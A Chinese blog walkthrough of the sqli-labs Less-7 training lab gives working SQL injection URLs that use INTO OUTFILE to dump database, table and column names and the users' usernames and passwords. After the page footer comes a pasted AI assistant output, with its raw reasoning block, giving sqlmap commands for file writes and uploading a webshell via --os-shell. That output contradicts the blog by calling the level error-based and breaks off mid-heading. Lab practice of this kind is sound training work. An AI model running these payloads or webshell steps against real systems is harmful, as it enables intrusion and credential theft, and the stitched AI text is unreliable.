sqli-labs第七关sql注入流程

本文介绍了在sqli-labs第七关中进行SQL注入的步骤,包括利用outfile导出数据,判断注入类型,修改secure_file_priv参数,以及通过爆库名、表名和字段内容获取数据库信息的过程。第八关将涉及盲注技巧。

正常访问

http://127.0.0.1/sqli-labs-master/Less-7/?id=1

正常访问以后提示Use outfile.....

什么是outfile:参考地址

MySQL中你可以使用SELECT...INTO OUTFILE语句来简单的导出数据到文本文件上。

判断注入类型

http://127.0.0.1/sqli-labs-master/Less-7/?id=1' and '1'='1

通过注入字符没有报错可以判断是字符类型的,这关数据库报错不会提示到页面上,只能猜测闭合符号,先试试 ’) 

http://127.0.0.1/sqli-labs-master/Less-7/?id=1') and '1'='1' %23

再试试 ')) 

http://127.0.0.1/sqli-labs-master/Less-7/?id=1')) and '1'='1' %23

 语句执行成功,那么语句部分可能是 where id=(('$id'))

开始注入

        提一下:

在MySQL里面使用select … into outfile可以把数据导出到文本文件上
里面有几个参数
secure_file_priv 用来限制导出效果。他有三个属性:
null限制不能导出
为空可以自定义
为一个路径则只能导出到指定路径

使用命令:show variables like '%secure%';查看当前secure_file_priv的值   

 

 修改secure_file_priv值方法:https://blog.youkuaiyun.com/xbcsu/article/details/122919948

        利用outfile,爆库名

http://127.0.0.1/sqli-labs-master/Less-7/?id=-1'))  UNION SELECT user(),version(),database() into outfile "d:\\less7\\database.txt" %23

报错没关系,我们可以看到文件已经生成了。(注意文件的路径必须存在,也就是必须要有less7这个文件夹)

打开可以看到数据库的名字:

        爆表名

http://127.0.0.1/sqli-labs-master/Less-7/?id=-1'))  UNION SELECT user(),version(),(select group_concat(table_name) from information_schema.tables where table_schema="security" ) into outfile "d:\\less7\\tables.txt" %23

 

 

          爆列名

http://127.0.0.1/sqli-labs-master/Less-7/?id=-1'))  UNION SELECT user(),version(),(select group_concat(column_name) from information_schema.columns where table_schema="security" and table_name="users" ) into outfile "d:\\less7\\columns.txt" %23

 

 爆字段内容(获取用户表的账号和密码) 

http://127.0.0.1/sqli-labs-master/Less-7/?id=-1'))  UNION SELECT user(),version(),(select group_concat(t.up) from (select concat(username, "~",password) up from security.users) t) into outfile "d:\\less7\\users.txt" %23

 成功获取数据库信息。

第八关是盲注且没有报错提示,能用布尔注入,参考文章:sqli-labs第八关-布尔注入_唤变的博客-优快云博客_sqllabs第八关

布尔注入用工具会省事很多。

<think>好的,我现在需要帮用户解决sqli-labs第七使用sqlmap进行SQL注入的问题。首先,我得回忆一下第七的特点。第七sqli-labs中通常被称为“导出文件”或“堆叠注入卡,可能需要通过导出文件到服务器来获取权限。用户可能遇到了如何正确配置sqlmap参数的问题,因为常规的注入方法可能不奏效。 根据用户提供的引用内容,比如引用[1]到[4],里面有提到使用--dbs获取库名,-D指定数据库,-T指定表,--columns跑字段,--dump获取数据。还有引用[4]提到在Referer头使用*标记注入点,并利用-r参数读取求文件。这些可能对第七有帮助,因为第七可能需要处理不同的注入点位置或参数。 首先,我需要确认第七注入类型。第七通常是基于文件导出的,所以可能需要使用--file-write--file-dest参数来上传文件。另外,可能需要指定正确的参数名,比如用户提交的参数是否是id,或者是否在POST数据中。如果注入点不在URL参数中,可能需要使用--data来传递POST参数,或者使用-r读取包含完整HTTP求的文件。 然后,根据引用[3]中的示例,常规的步骤是猜解数据库、表、字段,最后脱库。但第七可能需要堆叠查询或文件导出,所以可能需要启用--stacked-queries选项。此外,可能需要设置正确的数据库用户权限,允许文件导出,所以用户需要知道网站的绝对路径,这可能需要通过--file-read先读取服务器上的文件来获取路径信息。 另外,引用[4]中提到了在Referer头中使用*,说明注入点可能在HTTP头部,但第七注入点可能在查询参数中,所以可能需要检查参数是否正确。如果卡设计为需要特定的注入方式,比如联合查询失效,可能需要使用时间盲注或其他方法,这时候在sqlmap中可能需要使用--technique指定注入技术,比如T(时间盲注)。 用户可能遇到的问题包括:sqlmap无法自动检测注入点,需要手动指定参数;需要处理特定的错误消息;或者需要利用文件导出功能。因此,解决方案需要包括正确的sqlmap命令参数,如指定注入技术、设置文件导出路径、处理求方法(GET/POST)等。 总结步骤应该是:1. 确定注入点位置类型;2. 配置sqlmap参数,可能包括--technique、--file-write、--os-shell等;3. 获取数据库信息;4. 导出文件获取webshell或执行命令。同时,用户可能需要知道服务器的绝对路径,这可能需要先通过其他方式获取,比如错误信息或利用文件读取功能。 最后,还需要提醒用户注意权限问题sqlmap的使用风险,因为--os-shell等是高危指令,需在授权环境下使用。</think>### Sqli-labs第七SQLMap注入解决方案 第七通常涉及**文件导出型注入**,需利用`OUTFILE`或`DUMPFILE`功能写入文件。以下是具体步骤: #### 1. 确定注入点与参数类型 第七通常为**GET型注入**,参数为`id`。通过观察页面响应,若存在`You have an error in your SQL syntax`等提示,可确认存在注入漏洞[^3]。 #### 2. 基础注入命令 ```bash python sqlmap.py -u "http://目标URL/Less-7?id=1" --batch --dbs ``` 此命令尝试获取数据库列表。若响应异常,需指定注入技术: ```bash python sqlmap.py -u "http://目标URL/Less-7?id=1" --technique=E --batch --dbs ``` `--technique=E`表示使用基于错误的注入技术[^3]。 #### 3. 文件导出操作 需满足两个条件: - 数据库用户具备`FILE`权限 - 已知服务器绝对路径(如`/var/www/html/`) **步骤示例:** 1. **探测文件写入权限**: ```bash python sqlmap.py -u "http://目标URL/Less-7?id=1" --file-write=/本地文件/test.txt --file-dest=/远程路径/test.txt ``` 2. **写入Webshell**: ```bash python sqlmap.py -u "http://目标URL/Less-7?id=1" --os-shell ``` 根据提示选择网站根目录,上传PHP Webshell[^2]。 #### 4. 数据提取 若仅需脱库,常规流程如下: ```bash # 获取表名 python sqlmap.py -u "http://目标URL/Less-7?id=1" -D security --tables # 提取users表数据 python sqlmap.py -u "http://目标URL/Less-7?id=1" -D security -T users --dump ``` #### 5. 特殊场景处理 若注入点参数需编码处理,使用`--eval`动态修改参数: ```bash python sqlmap.py -u "http://目标URL/Less-7?id=1" --eval="import urllib; id=urllib.quote(id)" ``` --- ###
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值